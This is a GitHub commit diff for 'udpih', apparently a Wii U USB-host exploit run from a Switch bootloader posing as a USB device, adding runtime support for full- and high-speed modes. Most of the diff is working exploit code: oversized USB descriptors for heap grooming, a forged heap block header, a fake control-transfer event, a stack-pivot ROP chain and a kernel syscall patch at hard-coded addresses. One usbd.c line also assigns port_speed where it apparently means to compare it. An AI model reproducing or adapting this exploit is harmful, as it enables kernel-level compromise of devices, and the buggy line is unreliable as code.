Skip to content

Commit

Permalink
Support both full and high speed mode at runtime
Browse files Browse the repository at this point in the history
  • Loading branch information
GaryOderNichts committed Jun 13, 2022
1 parent 1444f5d commit 04fcff0
Show file tree
Hide file tree
Showing 7 changed files with 1,072 additions and 60 deletions.
2 changes: 1 addition & 1 deletion bdk/usb/usbd.c
Original file line number Diff line number Diff line change
Expand Up @@ -1027,7 +1027,7 @@ static int _usbd_handle_ep0_control_transfer()

// fall through
case USB_REQUEST_GET_DESCRIPTOR:
size = device_setup(&udpih_device, &usbd_otg->control_setup, descriptor);
size = device_setup(&udpih_device, &usbd_otg->control_setup, descriptor, usbd_otg->port_speed = USB_HIGH_SPEED);
transmit_data = true;
break;
case USB_REQUEST_GET_CONFIGURATION:
Expand Down
2 changes: 1 addition & 1 deletion bdk/usb/xusbd.c
Original file line number Diff line number Diff line change
Expand Up @@ -1523,7 +1523,7 @@ static int _xusbd_handle_ep0_control_transfer(usb_ctrl_setup_t *ctrl_setup)

// fall through
case USB_REQUEST_GET_DESCRIPTOR:
size = device_setup(&udpih_device, ctrl_setup, (u8 *)USB_DESCRIPTOR_ADDR);
size = device_setup(&udpih_device, ctrl_setup, (u8 *)USB_DESCRIPTOR_ADDR, usbd_xotg->port_speed == XUSB_HIGH_SPEED);
transmit_data = true;
break;
case USB_REQUEST_GET_CONFIGURATION:
Expand Down
2 changes: 1 addition & 1 deletion loader/loader.c
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,7 @@
boot_cfg_t __attribute__((section ("._boot_cfg"))) b_cfg;
const volatile ipl_ver_meta_t __attribute__((section ("._ipl_version"))) ipl_ver = {
.magic = BL_MAGIC,
.version = (0 + '0') | ((0 + '0') << 8) | ((0 + '0') << 16),
.version = (1 + '0') | ((0 + '0') << 8) | ((0 + '0') << 16),
.rsvd0 = 0,
.rsvd1 = 0
};
Expand Down
2 changes: 1 addition & 1 deletion source/main.c
Original file line number Diff line number Diff line change
Expand Up @@ -35,7 +35,7 @@ hekate_config h_cfg;
boot_cfg_t __attribute__((section ("._boot_cfg"))) b_cfg;
const volatile ipl_ver_meta_t __attribute__((section ("._ipl_version"))) ipl_ver = {
.magic = BL_MAGIC,
.version = (0 + '0') | ((0 + '0') << 8) | ((0 + '0') << 16),
.version = (1 + '0') | ((0 + '0') << 8) | ((0 + '0') << 16),
.rsvd0 = 0,
.rsvd1 = 0
};
Expand Down
11 changes: 6 additions & 5 deletions udpih/common.h
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@
#include <string.h>
#include <assert.h>

#include <utils/types.h>
#include <usb/usbd.h>
#include <usb/usb_descriptor_types.h>

Expand All @@ -20,10 +21,10 @@ void gfx_printf(const char *fmt, ...);
#define WARNING(x, ...) gfx_printf(x, ##__VA_ARGS__)
#define ERROR(x, ...) gfx_printf(x, ##__VA_ARGS__)

#define cpu_to_be32(x) __builtin_bswap32(x)
#define cpu_to_be16(x) __builtin_bswap16(x)
#define be32_to_cpu(x) __builtin_bswap32(x)
#define be16_to_cpu(x) __builtin_bswap16(x)
#define cpu_to_be32(x) byte_swap_32(x)
#define cpu_to_be16(x) byte_swap_16(x)
#define be32_to_cpu(x) byte_swap_32(x)
#define be16_to_cpu(x) byte_swap_16(x)
#define cpu_to_le16(x) (x)
#define cpu_to_le32(x) (x)
#define le16_to_cpu(x) (x)
Expand Down Expand Up @@ -66,4 +67,4 @@ typedef struct udpih_device {

//int device_bind(udpih_device_t* device, uint16_t maxpacket);

int device_setup(udpih_device_t* device, const usb_ctrl_setup_t* ctrlrequest, uint8_t* buf);
int device_setup(udpih_device_t* device, const usb_ctrl_setup_t* ctrlrequest, uint8_t* buf, bool high_speed);
1,012 changes: 1,012 additions & 0 deletions udpih/data-0x102ad880-full-speed.inc

Large diffs are not rendered by default.

101 changes: 50 additions & 51 deletions udpih/device.c
Original file line number Diff line number Diff line change
Expand Up @@ -19,59 +19,54 @@

#include "arm_kernel.bin.h"

#define HIGH_SPEED
#ifdef HIGH_SPEED
static const uint8_t heap_repair_data[] = {
#include "data-0x102ad880.inc"
static const uint8_t heap_repair_data_full_speed[] = {
#include "data-0x102ad880-full-speed.inc"
};
#else

#ifndef NO_HIGH_SPEED
static const uint8_t heap_repair_data[] = {
#include "data-0x102ad880-full-speed.inc"
#include "data-0x102ad880.inc"
};
#endif

#define DEVICE_VENDOR_ID 0xabcd
#define DEVICE_PRODUCT_ID 0x1234

#ifdef HIGH_SPEED
// location of the last descriptor storing data
#define LAST_DESC_LOCATION 0x102a7fe0
// location of the UhsCtrlXferMgr structure
#define CTRL_MGR_LOCATION 0x102b0860
// offset to the repair data we need to copy
#define HEAP_REPAIR_OFFSET 0x58a0
#else
// custom request to upload data into the stack
#define USB_REQ_CUSTOM 0x30

// location of the pEp0DmaBuf (containing the final rop, arm kernel and event)
#define EP0DMABUF_LOCATION 0x1029d880u
// location of the last descriptor storing data
#define LAST_DESC_LOCATION 0x102ab3a0
#define LAST_DESC_LOCATION 0x102ab3a0u
#define LAST_DESC_LOCATION_HS 0x102a7fe0u
// location of the UhsCtrlXferMgr structure
#define CTRL_MGR_LOCATION 0x102b50a0
#define CTRL_MGR_LOCATION 0x102b50a0u
#define CTRL_MGR_LOCATION_HS 0x102b0860u
// offset to the repair data we need to copy
#define HEAP_REPAIR_OFFSET 0x24e0
#endif
#define HEAP_REPAIR_OFFSET_HS 0x58a0

// final rop after the stackpivot
#define FINAL_ROP_OFFSET 0x100
#define FINAL_ROP_LOCATION (LAST_DESC_LOCATION + FINAL_ROP_OFFSET)
#define FINAL_ROP_LOCATION (EP0DMABUF_LOCATION + FINAL_ROP_OFFSET)

// stores the arm kernel binary before it gets copied into kernel memory
#define ARM_KERNEL_OFFSET 0x500
#define ARM_KERNEL_LOCATION (LAST_DESC_LOCATION + ARM_KERNEL_OFFSET)
#define ARM_KERNEL_LOCATION (EP0DMABUF_LOCATION + ARM_KERNEL_OFFSET)

// custom event
#define CUSTOM_EVENT_OFFSET 0x2000
#define CUSTOM_EVENT_LOCATION (LAST_DESC_LOCATION + CUSTOM_EVENT_OFFSET)

// offset of the UhsCtrlXferMgr structure
#define CTRL_MGR_OFFSET (CTRL_MGR_LOCATION - LAST_DESC_LOCATION)
#define CUSTOM_EVENT_LOCATION (EP0DMABUF_LOCATION + CUSTOM_EVENT_OFFSET)

// the beginning of IOS_SetFaultBehaviour
// this is the syscall we patch to execute functions with kernel permissions
#define REPLACE_SYSCALL 0x081298bc
#define REPLACE_SYSCALL 0x081298bcu

// the location from where our arm kernel binary runs
#define ARM_CODE_BASE 0x08135000
#define ARM_CODE_BASE 0x08135000u

#define IOS_SHUTDOWN 0x1012ee4c
#define IOS_SHUTDOWN 0x1012ee4cu

/*
We'll use a flaw in IOS_Create thread to memset code with kernel permissions
Expand Down Expand Up @@ -211,22 +206,22 @@ static const uint32_t stackpivot_rop[] = {
static const ControlTransactionEvent xferEventData = {
.header = {
.index = 0,
.queue = cpu_to_be32(CTRL_MGR_LOCATION + offsetof(UhsCtrlXferMgr, control_transaction_queue)),
.queue = 0, // will be filled out below once used
.prev = 0,
.next = cpu_to_be32(CTRL_MGR_LOCATION + offsetof(UhsCtrlXferMgr, events)), // can't be 0, so point into the events buf
.next = 0, // will be filled out below once used
},
.bmRequestType = USB_SETUP_DEVICE_TO_HOST,
.bRequest = USB_REQ_CUSTOM, // custom request
.wValue = 0,
.wIndex = 0,
.wLength = cpu_to_be16(sizeof(stackpivot_rop) + 4),
// background thread stack (everything below 0x1016AD70 crashes)
.buffer = cpu_to_be32(0x1016ad70),
.buffer = cpu_to_be32(0x1016ad70u),
.argptr = 0,
.timeout = cpu_to_be32(7500000),
.timeout = cpu_to_be32(7500000u),
.result = 0,
// SP will be 0x1016ace4 when the callback is called
.callback = cpu_to_be32(0x10103084), // add sp, sp, #0x84; pop {r4, r5, r6, pc}
.callback = cpu_to_be32(0x10103084u), // add sp, sp, #0x84; pop {r4, r5, r6, pc}
};

static const usb_dev_descr_t device_descriptor = {
Expand Down Expand Up @@ -257,7 +252,7 @@ static const usb_cfg_descr_t config_descriptor = {
.bMaxPower = 32 / 2,
};

int device_setup(udpih_device_t* device, const usb_ctrl_setup_t* ctrlrequest, uint8_t* buf)
int device_setup(udpih_device_t* device, const usb_ctrl_setup_t* ctrlrequest, uint8_t* buf, bool high_speed)
{
int result = -EINVAL;

Expand All @@ -270,7 +265,7 @@ int device_setup(udpih_device_t* device, const usb_ctrl_setup_t* ctrlrequest, ui
switch (ctrlrequest->bRequest) {
case USB_REQUEST_GET_DESCRIPTOR: {
uint8_t type = wValue >> 8;
uint8_t index = wValue & 0xff;
// uint8_t index = wValue & 0xff;
switch (type) {
case USB_DESCRIPTOR_DEVICE: {
result = min((size_t) wLength, sizeof(device_descriptor));
Expand Down Expand Up @@ -299,11 +294,7 @@ int device_setup(udpih_device_t* device, const usb_ctrl_setup_t* ctrlrequest, ui

if (device->state == STATE_DEVICE0_CONNECTED) {
// everything above 0xca0 will be placed at the end of the heap
#ifdef HIGH_SPEED
const uint32_t descriptor0_size = 0xf260;
#else
const uint32_t descriptor0_size = 0xaa20;
#endif
const uint32_t descriptor0_size = high_speed ? 0xf260 : 0xaa20;
const uint32_t descriptor1_size = 0xca0; //<- this one just fills up that annoying heap hole
const uint32_t descriptor2_size = 0x40;
const uint32_t descriptor3_size = 0x40;
Expand Down Expand Up @@ -438,14 +429,13 @@ int device_setup(udpih_device_t* device, const usb_ctrl_setup_t* ctrlrequest, ui
break;
}
} else if (device->state == STATE_DEVICE2_CONNECTED) {
#ifdef HIGH_SPEED
const uint32_t descriptor0_size = 0xe2a0; // <- fill up heap holes
const uint32_t descriptor1_size = 0x5380 + sizeof(HeapBlockHeader);
#else
const uint32_t descriptor0_size = 0xaa40; // <- fill up heap holes
const uint32_t descriptor1_size = 0x8760;
#endif
const uint32_t descriptor2_size = CTRL_MGR_OFFSET + sizeof(UhsCtrlXferMgr);
const uint32_t last_desc_location = high_speed ? LAST_DESC_LOCATION_HS : LAST_DESC_LOCATION;
const uint32_t ctrl_mgr_location = high_speed ? CTRL_MGR_LOCATION_HS : CTRL_MGR_LOCATION;
const uint32_t ctrl_mgr_offset = ctrl_mgr_location - last_desc_location;

const uint32_t descriptor0_size = high_speed ? 0xe2a0 : 0xaa40; // <- fill up heap holes
const uint32_t descriptor1_size = high_speed ? (0x5380 + sizeof(HeapBlockHeader)) : 0x8760;
const uint32_t descriptor2_size = ctrl_mgr_offset + sizeof(UhsCtrlXferMgr);

switch (wIndex) {
case 0:
Expand All @@ -471,10 +461,10 @@ int device_setup(udpih_device_t* device, const usb_ctrl_setup_t* ctrlrequest, ui
// this is where the next pointer will point to
// add a large heap header here
HeapBlockHeader* hdr = (HeapBlockHeader*) (buf + 0x5380);
hdr->magic = cpu_to_be32(0xBABE0000);
hdr->size = cpu_to_be32(0x100000);
hdr->magic = cpu_to_be32(0xBABE0000u);
hdr->size = cpu_to_be32(0x100000u);
// make sure the previous block gets updated
hdr->prev = cpu_to_be32(0x102c0580);
hdr->prev = cpu_to_be32(0x102c0580u);
hdr->next = 0;

desc->wTotalLength = cpu_to_le16(sizeof(config_descriptor));
Expand Down Expand Up @@ -502,12 +492,21 @@ int device_setup(udpih_device_t* device, const usb_ctrl_setup_t* ctrlrequest, ui
// custom event will be placed at CUSTOM_EVENT_LOCATION
ControlTransactionEvent* xferEvent = (ControlTransactionEvent*) (buf + CUSTOM_EVENT_OFFSET);
memcpy(xferEvent, &xferEventData, sizeof(ControlTransactionEvent));
xferEvent->header.queue = cpu_to_be32(ctrl_mgr_location + offsetof(UhsCtrlXferMgr, control_transaction_queue));
xferEvent->header.next = cpu_to_be32(ctrl_mgr_location + offsetof(UhsCtrlXferMgr, events)); // can't be 0, so point into the events buf

// copy heap repair data
memcpy(buf + HEAP_REPAIR_OFFSET, heap_repair_data, sizeof(heap_repair_data));
#ifndef NO_HIGH_SPEED
if (high_speed) {
memcpy(buf + HEAP_REPAIR_OFFSET_HS, heap_repair_data, sizeof(heap_repair_data));
} else
#endif
{
memcpy(buf + HEAP_REPAIR_OFFSET, heap_repair_data_full_speed, sizeof(heap_repair_data_full_speed));
}

// insert the custom event into the queue
UhsCtrlXferMgr* xferMgr = (UhsCtrlXferMgr*) (buf + CTRL_MGR_OFFSET);
UhsCtrlXferMgr* xferMgr = (UhsCtrlXferMgr*) (buf + ctrl_mgr_offset);
xferMgr->control_transaction_queue.numItems = cpu_to_be32(1);
xferMgr->control_transaction_queue.first = cpu_to_be32(CUSTOM_EVENT_LOCATION);
xferMgr->control_transaction_queue.last = cpu_to_be32(CUSTOM_EVENT_LOCATION);
Expand Down

0 comments on commit 04fcff0

Please sign in to comment.